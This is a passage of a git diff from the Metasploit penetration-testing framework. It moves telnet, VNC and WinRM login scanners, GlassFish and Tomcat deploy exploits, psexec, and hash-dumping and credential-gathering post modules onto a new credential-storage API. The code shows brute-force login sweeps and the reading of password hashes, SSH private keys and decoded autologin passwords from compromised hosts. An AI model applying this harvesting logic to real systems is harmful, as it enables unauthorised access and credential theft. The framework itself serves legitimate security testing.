private: key_data, realm: realm, private_type: :ssh_key) + end + end + end + + def each_key + @key_data.each do |data| + yield data + end + end + + def read_key(filename) + @cache ||= {} + unless @cache[filename] + data = File.open(filename, 'rb') { |fd| fd.read(fd.stat.size) } + #if data.match + + @cache[filename] = data + end + + @cache[filename] + end + + end end diff --git a/modules/auxiliary/scanner/telnet/telnet_login.rb b/modules/auxiliary/scanner/telnet/telnet_login.rb index 9a86ba1370..31a67875de 100644 --- a/modules/auxiliary/scanner/telnet/telnet_login.rb +++ b/modules/auxiliary/scanner/telnet/telnet_login.rb @@ -4,6 +4,9 @@ ## require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/telnet' + class Metasploit3 < Msf::Auxiliary @@ -33,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST') register_advanced_options( [ - OptInt.new('TIMEOUT', [ true, 'Default timeout for telnet connections. The greatest value of TelnetTimeout, TelnetBannerTimeout, or this option will be used as an overall timeout.', 0]) + OptInt.new('TIMEOUT', [ true, 'Default timeout for telnet connections.', 25]) ], self.class ) @@ -44,190 +47,74 @@ class Metasploit3 < Msf::Auxiliary attr_accessor :password_only def run_host(ip) - overall_timeout ||= [ - datastore['TIMEOUT'].to_i, - datastore['TelnetBannerTimeout'].to_i, - datastore['TelnetTimeout'].to_i - ].max - - # Check for a password-only prompt for this machine. - self.password_only = [] - if connect_reset_safe == :connected - @strip_usernames = true if password_prompt? - self.sock.close - end - - begin - each_user_pass do |user, pass| - Timeout.timeout(overall_timeout) do - res = try_user_pass(user, pass) - start_telnet_session(rhost,rport,user,pass) if res == :next_user - end - end - rescue ::Rex::ConnectionError, ::EOFError, ::Timeout::Error - return - end - end - - def try_user_pass(user, pass) - vprint_status "#{rhost}:#{rport} Telnet - Attempting: '#{user}':'#{pass}'" - this_attempt ||= 0 - ret = nil - while this_attempt <=3 and (ret.nil? or ret == :refused) - if this_attempt > 0 - select(nil,nil,nil,2**this_attempt) - vprint_error "#{rhost}:#{rport} Telnet - Retrying '#{user}':'#{pass}' due to reset" - end - ret = do_login(user,pass) - this_attempt += 1 - end - case ret - when :no_auth_required - print_good "#{rhost}:#{rport} Telnet - No authentication required!" - report_telnet('','',@trace) - return :abort - when :no_pass_prompt - vprint_status "#{rhost}:#{rport} Telnet - Skipping '#{user}' due to missing password prompt" - return :skip_user - when :timeout - vprint_status "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to timeout" - when :busy - vprint_error "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to busy state" - when :refused - vprint_error "#{rhost}:#{rport} Telnet - Skipping '#{user}':'#{pass}' due to connection refused." - when :skip_user - vprint_status "#{rhost}:#{rport} Telnet - Skipping disallowed user '#{user}' for subsequent requests" - return :skip_user - when :success - unless user == user.downcase - case_ret = do_login(user.downcase,pass) - if case_ret == :success - user= user.downcase - print_status("Username #{user} is case insensitive") - end - end - report_telnet(user,pass,@trace) - return :next_user - end - end - - # Sometimes telnet servers start RSTing if you get them angry. - # This is a short term fix; the problem is that we don't know - # if it's going to reset forever, or just this time, or randomly. - # A better solution is to get the socket connect to try again - # with a little backoff. - def connect_reset_safe - begin - connect - rescue Rex::ConnectionRefused - return :refused - end - return :connected - end - - # Making this serial since the @attempts counting business is causing - # all kinds of syncing problems. - def do_login(user,pass) - - return :refused if connect_reset_safe == :refused - - begin - - vprint_status("#{rhost}:#{rport} Banner: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") - - if busy_message? - self.sock.close unless self.sock.closed? - return :busy - end - - if login_succeeded? - return :no_auth_required - end - - # Immediate password prompt... try our password! - if password_prompt? - user = '' - - if password_only.include?(pass) - print_status("#{rhost}:#{rport} - Telnet - skipping already tried password '#{pass}'") - return :tried - end - - print_status("#{rhost}:#{rport} - Telnet - trying password only authentication with password '#{pass}'") - password_only << pass - else - send_user(user) - end - - recvd_sample = @recvd.dup - # Allow for slow echos - 1.upto(10) do - recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/] - end - - vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") - - if password_prompt?(user) - send_pass(pass) - - # Allow for slow echos - 1.upto(10) do - recv_telnet(self.sock, 0.10) if @recvd == recvd_sample - end - - - vprint_status("#{rhost}:#{rport} Result: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}") - - if login_succeeded? - return :success - else - self.sock.close unless self.sock.closed? - if @recvd =~ /Not on system console/ # Solaris8, user is not allowed - return :skip_user - else - return :fail - end - end - else - if login_succeeded? && @recvd !~ /^#{user}\x0d*\x0a/ - report_telnet(user,pass,@trace) - return :no_pass_required - else - self.sock.close unless self.sock.closed? - return :no_pass_prompt - end - end - - rescue ::Interrupt - self.sock.close unless self.sock.closed? - raise $! - rescue ::Exception => e - if e.to_s == "execution expired" - self.sock.close unless self.sock.closed? - return :timeout - else - self.sock.close unless self.sock.closed? - print_error("#{rhost}:#{rport} Error: #{e.class} #{e} #{e.backtrace}") - end - end - - end - - def report_telnet(user, pass, proof) - print_good("#{rhost} - SUCCESSFUL LOGIN #{user} : #{pass}") - report_auth_info( - :host => rhost, - :port => datastore['RPORT'], - :sname => 'telnet', - :user => user, - :pass => pass, - :proof => proof, - :source_type => "user_supplied", - :active => true + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], ) + + scanner = Metasploit::Framework::LoginScanner::Telnet.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: datastore['Timeout'], + banner_timeout: datastore['TelnetBannerTimeout'], + telnet_timeout: datastore['TelnetTimeout'] + ) + + service_data = { + address: ip, + port: rport, + service_name: 'telnet', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + scanner.scan! do |result| + if result.success? + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public + } + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + + create_credential_login(login_data) + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner) + else + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: nil, + realm_value: nil, + status: result.status) + print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + end + end end - def start_telnet_session(host, port, user, pass) + def start_telnet_session(host, port, user, pass, scanner) print_status "Attempting to start session #{host}:#{port} with #{user}:#{pass}" merge_me = { 'USERPASS_FILE' => nil, @@ -237,7 +124,7 @@ class Metasploit3 < Msf::Auxiliary 'PASSWORD' => pass } - start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true) + start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true, scanner.sock) end end diff --git a/modules/auxiliary/scanner/vnc/vnc_login.rb b/modules/auxiliary/scanner/vnc/vnc_login.rb index cdbc2af39f..a45481d81b 100644 --- a/modules/auxiliary/scanner/vnc/vnc_login.rb +++ b/modules/auxiliary/scanner/vnc/vnc_login.rb @@ -5,6 +5,8 @@ require 'msf/core' require 'rex/proto/rfb' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/vnc' class Metasploit3 < Msf::Auxiliary @@ -56,82 +58,68 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) print_status("#{ip}:#{rport} - Starting VNC login sweep") - begin - each_user_pass { |user, pass| - ret = nil - attempts = 5 - attempts.times { |n| - ret = do_login(user, pass) - break if ret != :retry + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) - delay = (2**(n+1)) + 1 - vprint_status("Retrying in #{delay} seconds...") - select(nil, nil, nil, delay) + scanner = Metasploit::Framework::LoginScanner::VNC.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: datastore['ConnectTimeout'] + ) + + service_data = { + address: ip, + port: rport, + service_name: 'vnc', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + scanner.scan! do |result| + if result.success? + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, } - # If we tried all these attempts, and we still got a retry condition, - # we'll just give up.. Must be that nasty blacklist algorithm kicking - # our butt. - return :abort if ret == :retry - ret - } - rescue ::Rex::ConnectionError - nil - end - end + credential_data.merge!(service_data) - def do_login(user, pass) - vprint_status("#{target_host}:#{rport} - Attempting VNC login with password '#{pass}'") + credential_core = create_credential(credential_data) - connect + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) - begin - vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false) - if not vnc.handshake - vprint_error("#{target_host}:#{rport}, #{vnc.error}") - return :abort + create_credential_login(login_data) + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: nil, + private: result.credential.private, + realm_key: nil, + realm_value: nil, + status: result.status) + print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end - - ver = "#{vnc.majver}.#{vnc.minver}" - vprint_status("#{target_host}:#{rport}, VNC server protocol version : #{ver}") - report_service( - :host => rhost, - :port => rport, - :proto => 'tcp', - :name => 'vnc', - :info => "VNC protocol version #{ver}" - ) - - if not vnc.authenticate(pass) - vprint_error("#{target_host}:#{rport}, #{vnc.error}") - return :retry if vnc.error =~ /connection has been rejected/ # UltraVNC - return :retry if vnc.error =~ /Too many security failures/ # vnc4server - return :fail - end - - print_good("#{target_host}:#{rport}, VNC server password : \"#{pass}\"") - - access_type = "password" - #access_type = "view-only password" if vnc.view_only_mode - report_auth_info({ - :host => rhost, - :port => rport, - :sname => 'vnc', - :pass => pass, - :type => access_type, - :duplicate_ok => true, - :source_type => "user_supplied", - :active => true - }) - return :next_user - - # For debugging only. - #rescue ::Exception - # raise $! - # print_error("#{$!}") - - ensure - disconnect() end + end end diff --git a/modules/auxiliary/scanner/winrm/winrm_login.rb b/modules/auxiliary/scanner/winrm/winrm_login.rb index 5c8dfe1f83..12b8d83d0b 100644 --- a/modules/auxiliary/scanner/winrm/winrm_login.rb +++ b/modules/auxiliary/scanner/winrm/winrm_login.rb @@ -6,6 +6,9 @@ require 'msf/core' require 'rex/proto/ntlm/message' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner' +require 'metasploit/framework/login_scanner/winrm' class Metasploit3 < Msf::Auxiliary @@ -37,34 +40,65 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - each_user_pass do |user, pass| - resp = send_winrm_request(test_request) - if resp.nil? - print_error "#{ip}:#{rport}: Got no reply from the server, connection may have timed out" - return - elsif resp.code == 200 - cred_hash = { - :host => ip, - :port => rport, - :sname => 'winrm', - :pass => pass, - :user => user, - :source_type => "user_supplied", - :active => true + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + realm: datastore['DOMAIN'], + ) + scanner = Metasploit::Framework::LoginScanner::WinRM.new( + host: ip, + port: rport, + proxies: datastore["PROXIES"], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 10, + ) + scanner.scan! do |result| + if result.success? + + service_data = { + address: ip, + port: rport, + service_name: 'winrm', + protocol: 'tcp', + workspace_id: myworkspace_id } - report_auth_info(cred_hash) - print_good "#{ip}:#{rport}: Valid credential found: #{user}:#{pass}" - elsif resp.code == 401 - print_error "#{ip}:#{rport}: Login failed: #{user}:#{pass}" + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: result.credential.realm, + }.merge(service_data) + + credential_core = create_credential(credential_data) + login_data = { + access_level: 'Admin', + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + }.merge(service_data) + + create_credential_login(login_data) + + print_good "#{ip}:#{rport}: Valid credential found: #{result.credential}" else - print_error "Recieved unexpected Response Code: #{resp.code}" + vprint_status "#{ip}:#{rport}: Login failed: #{result.credential}" end end end def test_request - data = winrm_wql_msg("Select Name,Status from Win32_Service") + return winrm_wql_msg("Select Name,Status from Win32_Service") end end diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index 042f17ccd2..347dd7c2be 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -651,17 +651,33 @@ class Metasploit3 < Msf::Exploit::Remote return res end - def log_success(user,pass) - print_good("#{my_target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}", - :active => true - ) + def log_success(user = "", pass = "") + service_data = { + address: Rex::Socket.getaddress(rhost, true), + port: rport, + protocol: "tcp", + service_name: ssl ? "https" : "http", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + username: user, + private_data: pass, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "Admin", + status: Metasploit::Model::Login::Status::SUCCESSFUL, + last_attempted_at: DateTime.now + } + + create_credential_login(login_data.merge(service_data)) end def try_default_glassfish_login(version) @@ -708,6 +724,7 @@ class Metasploit3 < Msf::Exploit::Remote end if success == true + print_good("#{my_target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'") log_success(user,pass) else msg = "#{my_target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'" @@ -739,15 +756,7 @@ class Metasploit3 < Msf::Exploit::Remote if success == true print_good("#{my_target_host} - GlassFish - SUCCESSFUL authentication bypass") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => '', - :pass => '', - :proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}", - :active => true - ) + log_success else print_error("#{my_target_host()} - GlassFish - Failed authentication bypass") end diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb index 12c2423529..bc75cdc7dd 100644 --- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb +++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb @@ -118,15 +118,7 @@ class Metasploit3 < Msf::Exploit::Remote return CheckCode::Unknown end - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => datastore['USERNAME'], - :pass => datastore['PASSWORD'], - :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", - :active => true - ) + report_tomcat_credential vprint_status("Target is #{detect_platform(res.body)} #{detect_arch(res.body)}") return CheckCode::Appears @@ -209,15 +201,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]") end - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => datastore['USERNAME'], - :pass => datastore['PASSWORD'], - :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", - :active => true - ) + report_tomcat_credential # # EXECUTE @@ -315,4 +299,35 @@ class Metasploit3 < Msf::Exploit::Remote } end + def report_tomcat_credential + service_data = { + address: ::Rex::Socket.getaddress(datastore['RHOST'],true), + port: datastore['RPORT'], + service_name: (ssl ? "https" : "http"), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: datastore['PASSWORD'].downcase, + username: datastore['USERNAME'] + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + access_level: 'Admin', + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + create_credential_login(login_data) + end + end diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb index 5d24ce3b54..df46747a79 100644 --- a/modules/exploits/multi/http/tomcat_mgr_upload.rb +++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb @@ -126,15 +126,7 @@ class Metasploit3 < Msf::Exploit::Remote vprint_status("#{peer} - Tomcat Manager found running on #{plat} platform and #{arch} architecture") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => datastore['USERNAME'], - :pass => datastore['PASSWORD'], - :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", - :active => true - ) + report_tomcat_credential return CheckCode::Appears end @@ -156,15 +148,7 @@ class Metasploit3 < Msf::Exploit::Remote # print_status("#{peer} - Uploading and deploying #{@app_base}...") if upload_payload - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => datastore['USERNAME'], - :pass => datastore['PASSWORD'], - :proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}", - :active => true - ) + report_tomcat_credential else fail_with(Failure::Unknown, "Upload failed") end @@ -423,4 +407,35 @@ class Metasploit3 < Msf::Exploit::Remote return true end + def report_tomcat_credential + service_data = { + address: ::Rex::Socket.getaddress(datastore['RHOST'],true), + port: datastore['RPORT'], + service_name: (ssl ? "https" : "http"), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: datastore['PASSWORD'].downcase, + username: datastore['USERNAME'] + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + access_level: 'Admin', + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + create_credential_login(login_data) + end + end diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 827bd4b09d..435259194d 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -106,20 +106,48 @@ class Metasploit3 < Msf::Exploit::Remote end if datastore['DB_REPORT_AUTH'] and datastore['SMBUser'].to_s.strip.length > 0 - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'smb', - :user => datastore['SMBUser'].downcase, - :pass => datastore['SMBPass'], - :active => true + + service_data = { + address: ::Rex::Socket.getaddress(datastore['RHOST'],true), + port: datastore['RPORT'], + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id } - if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ - report_hash.merge!({:type => 'smb_hash'}) - else - report_hash.merge!({:type => 'password'}) + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_data: datastore['SMBPass'], + username: datastore['SMBUser'].downcase + } + + if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP' + credential_data.merge!({ + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: datastore['SMBDomain'] + }) end - report_auth_info(report_hash) + + if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ + credential_data.merge!({:private_type => :ntlm_hash}) + else + credential_data.merge!({:private_type => :password}) + end + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + access_level: 'Admin', + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + + login_data.merge!(service_data) + login = create_credential_login(login_data) end filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" diff --git a/modules/post/aix/hashdump.rb b/modules/post/aix/hashdump.rb index d2b0659116..283b7e6628 100644 --- a/modules/post/aix/hashdump.rb +++ b/modules/post/aix/hashdump.rb @@ -27,32 +27,43 @@ class Metasploit3 < Msf::Post def run if is_root? passwd_file = read_file("/etc/security/passwd") - jtr = parse_aix_passwd(passwd_file) - p = store_loot("aix.hashes", "text/plain", session, jtr, "aix_passwd.txt", "AIX Password File") - vprint_status("Passwd saved in: #{p.to_s}") + + username = '' + hash = '' + + passwd_file.each_line do |line| + user_line = line.match(/(\w+):/) + if user_line + username = user_line[1] + end + + hash_line = line.match(/password = (\w+)/) + if hash_line + hash = hash_line[1] + end + + if hash.present? + print_good "#{username}:#{hash}" + credential_data = { + jtr_format: 'des', + origin_type: :session, + post_reference_name: self.refname, + private_type: :nonreplayable_hash, + private_data: hash, + session_id: session_db_id, + username: username, + workspace_id: myworkspace_id + } + create_credential(credential_data) + username = '' + hash = '' + end + end + else print_error("You must run this module as root!") end end - - def parse_aix_passwd(aix_file) - jtr_file = "" - tmp = "" - aix_file.each_line do |line| - username = line.match(/(\w+:)/) - if username - tmp = username[0] - end - hash = line.match(/password = (\w+)/) - if hash - tmp << hash[1] - jtr_file << "#{tmp}\n" - end - end - return jtr_file - end - - end diff --git a/modules/post/linux/gather/hashdump.rb b/modules/post/linux/gather/hashdump.rb index d7534025ec..9c483a78ce 100644 --- a/modules/post/linux/gather/hashdump.rb +++ b/modules/post/linux/gather/hashdump.rb @@ -37,6 +37,19 @@ class Metasploit3 < Msf::Post # Unshadow the files john_file = unshadow(passwd_file, shadow_file) john_file.each_line do |l| + hash_parts = l.split(':') + + credential_data = { + jtr_format: 'md5,des,bsdi,crypt', + origin_type: :session, + post_reference_name: self.refname, + private_type: :nonreplayable_hash, + private_data: hash_parts[1], + session_id: session_db_id, + username: hash_parts[0], + workspace_id: myworkspace_id + } + create_credential(credential_data) print_good(l.chomp) end # Save pwd file diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 0b39193458..76b090602a 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -3,10 +3,24 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +# +# Standard Library +# + +require 'tmpdir' + +# +# Gems +# + +require 'zip' + +# +# Project +# + require 'msf/core' require 'rex' -require 'zip/zip' -require 'tmpdir' require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post @@ -104,10 +118,10 @@ class Metasploit3 < Msf::Post begin # automatically commits the changes made to the zip archive when # the block terminates - Zip::ZipFile.open(tmp) do |zip_file| + Zip::File.open(tmp) do |zip_file| res = modify_omnija(zip_file) end - rescue Zip::ZipError => e + rescue Zip::Error => e print_error("Error modifying #{new_file}") return end diff --git a/modules/post/multi/gather/pgpass_creds.rb b/modules/post/multi/gather/pgpass_creds.rb index 1626252cad..a9d1398a98 100644 --- a/modules/post/multi/gather/pgpass_creds.rb +++ b/modules/post/multi/gather/pgpass_creds.rb @@ -73,6 +73,8 @@ class Metasploit3 < Msf::Post ) read_file(f).each_line do |entry| + # skip comments + next if entry.lstrip[0,1] == "#" ip, port, db, user, pass = entry.chomp.split(/:/, 5) # Fix for some weirdness that happens with backslashes @@ -97,21 +99,46 @@ class Metasploit3 < Msf::Post end pass = p + + # Display the original before we try to report it, so the user + # sees whatever was actually in the file in case it's weird cred_table << [ip, port, db, user, pass] - cred_hash = { - :host => session.session_host, - :port => port, - :user => user, - :pass => pass, - :ptype => "password", - :sname => "postgres", - :source_type => "Cred", - :duplicate_ok => true, - :active => true + if ip == "*" || ip == "localhost" + ip = session.session_host + else + ip = Rex::Socket.getaddress(ip) + end + + # Use the default postgres port if the file had a wildcard + port = 5432 if port == "*" + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: user, + private_data: pass, + private_type: :password, + realm_value: db, + realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE, + workspace_id: myworkspace_id } - report_auth_info(cred_hash) + credential_core = create_credential(credential_data) + + login_data = { + address: ip, + port: port, + protocol: "tcp", + service_name: "postgres", + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + create_credential_login(login_data) + end if not cred_table.rows.empty? diff --git a/modules/post/multi/gather/ssh_creds.rb b/modules/post/multi/gather/ssh_creds.rb index 335e8672b4..4832a34f9a 100644 --- a/modules/post/multi/gather/ssh_creds.rb +++ b/modules/post/multi/gather/ssh_creds.rb @@ -60,29 +60,27 @@ class Metasploit3 < Msf::Post next if [".", ".."].include?(file) data = read_file("#{path}#{sep}#{file}") file = file.split(sep).last - loot_path = store_loot("ssh.#{file}", "text/plain", session, data, - "ssh_#{file}", "OpenSSH #{file} File") - print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}") - # If the key is encrypted, this will fail and it won't be stored as a - # cred. That's ok because we can't really use encrypted keys anyway. - key = SSHKey.new(data, :passphrase => "") rescue nil - if key and loot_path - print_status("Saving private key #{file} as cred") - cred_hash = { - :host => session.session_host, - :port => 22, - :sname => 'ssh', - :user => user, - :pass => loot_path, - :source_type => "exploit", - :type => 'ssh_key', - :proof => "KEY=#{key.fingerprint}", - :duplicate_ok => true, - :active => true + print_good("Downloaded #{path}#{sep}#{file}") + + begin + key = SSHKey.new(data, :passphrase => "") + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :ssh_key, + private_data: key.key_object.to_s, + username: user, + workspace_id: myworkspace_id } - report_auth_info(cred_hash) + + create_credential(credential_data) + rescue OpenSSL::OpenSSLError => e + print_error("Could not load SSH Key: #{e.message}") end + end end diff --git a/modules/post/osx/gather/autologin_password.rb b/modules/post/osx/gather/autologin_password.rb index 25f14542f4..1136f69faa 100644 --- a/modules/post/osx/gather/autologin_password.rb +++ b/modules/post/osx/gather/autologin_password.rb @@ -61,13 +61,18 @@ class Metasploit3 < Msf::Post end.join.sub(/\x00.*$/, '') # save in the database - report_auth_info( - :host => session.session_host, - :sname => 'login', - :user => autouser, - :pass => decoded, - :active => true - ) + # Don't record a Login, since we don't know what service to tie it to + credential_data = { + workspace_id: myworkspace_id, + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: autouser, + private_data: decoded, + private_type: :password + } + + create_credential(credential_data) print_good "Decoded autologin password: #{autouser}:#{decoded}" end diff --git a/modules/post/osx/gather/hashdump.rb b/modules/post/osx/gather/hashdump.rb index 85f389f207..28eadfde64 100644 --- a/modules/post/osx/gather/hashdump.rb +++ b/modules/post/osx/gather/hashdump.rb @@ -42,9 +42,6 @@ class Metasploit3 < Msf::Post def run fail_with("Insufficient Privileges: must be running as root to dump the hashes") unless root? - # build a single hash_file containing all users' hashes - hash_file = '' - # iterate over all users users.each do |user| next if datastore['MATCHUSER'].present? and datastore['MATCHUSER'] !~ user @@ -70,27 +67,25 @@ class Metasploit3 < Msf::Post iterations = dict.elements[4].text.gsub(/\s+/, '') salt = Rex::Text.to_hex(dict.elements[6].text.gsub(/\s+/, '').unpack('m*')[0], '') - # PBKDF2 stored in format - decoded_hash = "#{user}:$ml$#{iterations}$#{salt}$#{entropy}" - print_good "SHA512:#{decoded_hash}" - hash_file << decoded_hash + # PBKDF2 stored in format + decoded_hash = "$ml$#{iterations}$#{salt}$#{entropy}" + report_hash("SHA-512 PBKDF2", decoded_hash, user) elsif lion? # 10.7 # pull the shadow from dscl shadow_bytes = grab_shadow_blob(user) next if shadow_bytes.blank? # on 10.7 the ShadowHashData is stored in plaintext - hash_decoded = shadow_bytes.upcase + hash_decoded = shadow_bytes.downcase # Check if NT HASH is present - if hash_decoded =~ /4F1010/ - report_nt_hash(hash_decoded.scan(/^\w*4F1010(\w*)4F1044/)[0][0], user) + if hash_decoded =~ /4f1010/ + report_hash("NT", hash_decoded.scan(/^\w*4f1010(\w*)4f1044/)[0][0], user) end # slice out the sha512 hash + salt - sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0] - print_status("SHA512:#{user}:#{sha512}") - hash_file << "#{user}:#{sha512}\n" + sha512 = hash_decoded.scan(/^\w*4f1044(\w*)(080b190|080d101e31)/)[0][0] + report_hash("SHA-512", sha512, user) else # 10.6 and below # On 10.6 and below, SHA-1 is used for encryption guid = if gte_leopard? @@ -106,38 +101,16 @@ class Metasploit3 < Msf::Post # Check that we have the hashes and save them if sha1_hash !~ /0000000000000000000000000/ - print_status("SHA1:#{user}:#{sha1_hash}") - hash_file << "#{user}:#{sha1_hash}" + report_hash("SHA-1", sha1_hash, user) end if 